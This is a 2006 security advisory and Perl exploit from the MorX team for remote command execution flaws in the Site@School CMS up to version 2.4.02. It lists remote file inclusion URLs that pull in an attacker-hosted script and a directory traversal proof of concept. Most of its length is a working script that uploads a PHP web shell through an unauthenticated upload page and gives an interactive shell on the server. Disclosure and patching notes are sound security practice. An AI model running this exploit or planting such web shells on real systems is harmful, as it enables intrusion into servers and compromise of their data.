Site@School 2.4.02 and below Multiple remote Command Execution Vulnerabilities
# Title: Site@School 2.4.02 and below Multiple remote Command Execution
Vulnerabilities
# Vendor: Site@School
# webiste : http://siteatschool.sourceforge.net/
# Version : <= 2.4.02
# Severity: Critical
# Discovered by: Simo64 <simo64_at_morx_org>
# Exploit writting by: Simo Ben youssef <simo_at_morx_org>
# Discovered: 05 Aout 2006
# Published : 15 September 2006
# MorX Security Research Team
# http://www.morx.org
# Original File: http://www.morx.org/school.txt
# Details
# Remote File Inclsuion :
# vulnerable code in starnet/modules/sn_allbum/slideshow.php near line 39 - 46:
# [code]
# ------------------------------------------------------------------
# if(file_exists("$cmsdir/languages/$language/sn_allbum/$language.php"))
# {
# include("$cmsdir/languages/$language/sn_allbum/$language.php");
# }
# else
# {
# include("$cmsdir/languages/EN/sn_allbum/EN.php");
# }
# -------------------------------------------------------------------[/code]
# vulnerable code in line 91 :
# [code]
# ----------------------------------------------------------------
# include("$cmsdir/themes/$themelocation/".$content_parm[0]);
# ------------------------------------------------------------------[/code]
# $cmsdir is not properly verified ,can be used to include files from remote
# resources witch would allow a remote attacker to execute arbitary command
with the # privilege of the webserver
# Note : multiple files are affected !
# Exploit :
#
http://localhost/starnet/modules/sn_allbum/slideshow.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
#
http://localhost/starnet/modules/include/include.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
#
http://localhost/starnet/themes/editable/main.inc.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
# =======================
# Directory Traversal :
# =======================
# PoC :
# http://localhost/starnet/editors/htmlarea/popups/images.php?dir=../../
# =======================
# Arbitary File Upload :
# =======================
# vulnerable code in starnet/editors/htmlarea/popups/images.php near lines 58 -
104
# [code]
# ----------------------------------------------------------
# $BASE_DIR = $server_path;
# $BASE_ROOT = $user_path.'/'.$media ;
# if(isset($_FILES['upload']) && is_array($_FILES['upload']) &&
isset($_POST['dirPath']))
# {
# $dirPathPost = $_POST['dirPath'];
# if(strlen($dirPathPost) > 0)
# {
# if(substr($dirPathPost,0,1)=='/')
# $IMG_ROOT .= $dirPathPost;
# else
# $IMG_ROOT = $dirPathPost;
# }
# if(strrpos($IMG_ROOT, '/')!= strlen($IMG_ROOT)-1)
# $IMG_ROOT .= '/';
# do_upload($_FILES['upload'], $BASE_DIR.$BASE_ROOT.$dirPathPost.'/');
# }
# /*[morx] do_upload function code [/morx]*/
# function do_upload($file, $dest_dir)
# {
# global $clearUploads, $perm;
# if(is_file($file['tmp_name']))
# {
# # Remove spaces, apostrophe, exclamation marks etc.
# $str_from = " \'@!,/\\\t\*?`\"" ;
# $str_to = str_repeat("_",strlen($str_from));
# $file_name = strtr($file['name'],$str_from,$str_to);
# //var_dump($file); echo "DIR:$dest_dir";
# move_uploaded_file($file['tmp_name'], $dest_dir.$file_name);
# //get filepermissions from config and chmod it.
# eval("chmod('$dest_dir.$file_name', $perm);");
# }
# $clearUploads = true;
# }
# ---------------------------------------------------------[/code]
# the first problem is that starnet/editors/htmlarea/popups/images.php is
accessible
# directelly to any user without any authentificagtion ,
# the second problem is that the script doesn't verify thefile extension so an
attacker needs just to complete the
# condition in line 88 to upload a malicious script
# Disclosure History:
# 05 Aout 2006 : Discovered
# 05 Aout 2006 : Contacted Vendor with vulnerabilities information
# 23 Aout 2006 : Vendor released 2.4.03
# Patch:
# Upgrade to the latest version.
# Exploit :
# =========
# [code]
# C:\>perl school.pl localhost
# --- Site@school remote file upload Xploit
# --- Writting By Simo ben youssef / Simo_at_morx_org
# --- MorX Security Research Team
# --- www.morx.org
# [*] checking if zebi.php was successfully uploaded ...
# [+] zebi.php was successfully uploaded
# ####################################
# #### ET VOILA, YOU ARE IN #####
# ####################################
# Linux localhost 2.6.12.6-xenU #1 SMP Sun Dec 4 20:49:44 GMT 2005 x86_64
GNU/Linux
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [www-data@localhost:]#exit
# Connection Closed
use IO::Socket;
use LWP::Simple;
if(!defined($ARGV[0])) {
print "\n--- Site\@school remote file upload Xploit\n";
print "--- Writting By Simo ben youssef / Simo_at_morx_org\n";
print "--- MorX Security Research Team\n";
print "--- www.morx.org\n\n";
print "--- Usage: perl $0 <host>\n";
print "--- Example: perl $0 localhost\n\n";
exit; }
$TARGET = $ARGV[0];
$PORT = "80";
$SCRIPT = "starnet/editors/htmlarea/popups/images.php";
$SHELL = "/starnet/media/zebi.php?cmd=";
$HTTP = "http://";;
$COMMAND1 = "POST /$SCRIPT HTTP/1.1";
$COMMAND2 = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*";
$COMMAND3 = "Accept-Language: en-us";
$COMMAND4 = "Content-Type: multipart/form-data; boundary=--------
-------------------7d62e2819048c2";
$COMMAND5 = "Accept-Encoding: gzip, deflate";
$COMMAND6 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$COMMAND7 = "Host: $TARGET";
$COMMAND8 = "Content-Length: 438";
$COMMAND9 = "Connection: Keep-Alive";
$COMMAND9a = "Cache-Control: no-cache";
$COMMAND10 = "-----------------------------7d62e2819048c2";
$COMMAND11 = 'Content-Disposition: form-data; name="dirPath"';
$COMMAND12 = "/";
$COMMAND13 = 'Content-Disposition: form-data; name="upload";
filename="C:\zebi.php"';
$COMMAND14 = "Content-Type: application/octet-stream";
$COMMAND15 = "<? system(\$_GET['cmd']\);exit; ?>";
$COMMAND16 = 'Content-Disposition: form-data; name="upload"';
$COMMAND17 = "Upload";
$COMMAND18 = "-----------------------------7d62e2819048c2--";
$COMMAND19 = "HEAD /starnet/media/zebi.php HTTP/1.1";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET"
,PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print "\n--- Site\@school remote file upload Xploit\n";
print "--- Writting By Simo ben youssef / Simo_at_morx_org\n";
print "--- MorX Security Research Team\n";
print "--- www.morx.org\n\n";
print "[*] Trying to upload zebi.php ...\n\n";
sleep 2;
print $remote
"$COMMAND1\n$COMMAND2\n$COMMAND3\n$COMMAND4\n$COMMAND5\n$COMMAND6\n$COMMAND7\n$COMMAND8\n$COMMAND9\n$COMMAND9a\n\n";
print $remote
"$COMMAND10\n$COMMAND11\n\n$COMMAND12\n$COMMAND10\n$COMMAND13\n$COMMAND14\n\n$COMMAND15\n$COMMAND10\n$COMMAND16\n\n$COMMAND17\n$COMMAND18\n\n";
print "[*] checking if zebi.php was successfully uploaded ...\n";
print $remote "$COMMAND19\n$COMMAND7\n$COMMAND9\n$COMMAND9a\n\n";
while ($output = <$remote> ) {
if ($output =~ /200 OK/) {
print "[+] zebi.php was successfully uploaded\n\n";
$cmd2 = "uname -n";
$cmd3 = "whoami";
$cmd4 = "uname -a";
$cmd5 = "id";
$unamea = "$HTTP$TARGET$SHELL$cmd4";
$id = "$HTTP$TARGET$SHELL$cmd5";
$uname = "$HTTP$TARGET$SHELL$cmd2";
$whoami = "$HTTP$TARGET$SHELL$cmd3";
$w = get($whoami);
$u = get($uname);
chomp($w);
chomp($u);
$ua = get($unamea);
$i = get($id);
print "####################################\n";
print "#### ET VOILA, YOU ARE IN #####\n";
print "####################################\n\n";
print "$ua\n$i";
while () {
print "\n[$w\@$u:]#";
chomp($cmd=<STDIN>);
if ($cmd eq "exit")
{
print "Connection Closed\n";
$remote->flush();
close($remote);
exit;
}
$LEHWA = "$HTTP$TARGET$SHELL$cmd";
if($cmd eq "")
{
print "empty command ! for help, type help\n"; }
else
{
getprint($LEHWA)
}
}
$a = 1
}
}
if ($a == 0)
{ print "[-] failed\n";
}
$remote->flush();
close($remote);
exit;
# Disclaimer:
# This entire document is for eductional, testing and demonstrating purpose
only.
# Modification use and/or publishing this information is entirely on your OWN
risk.
# I cannot be held responsible for any of the above.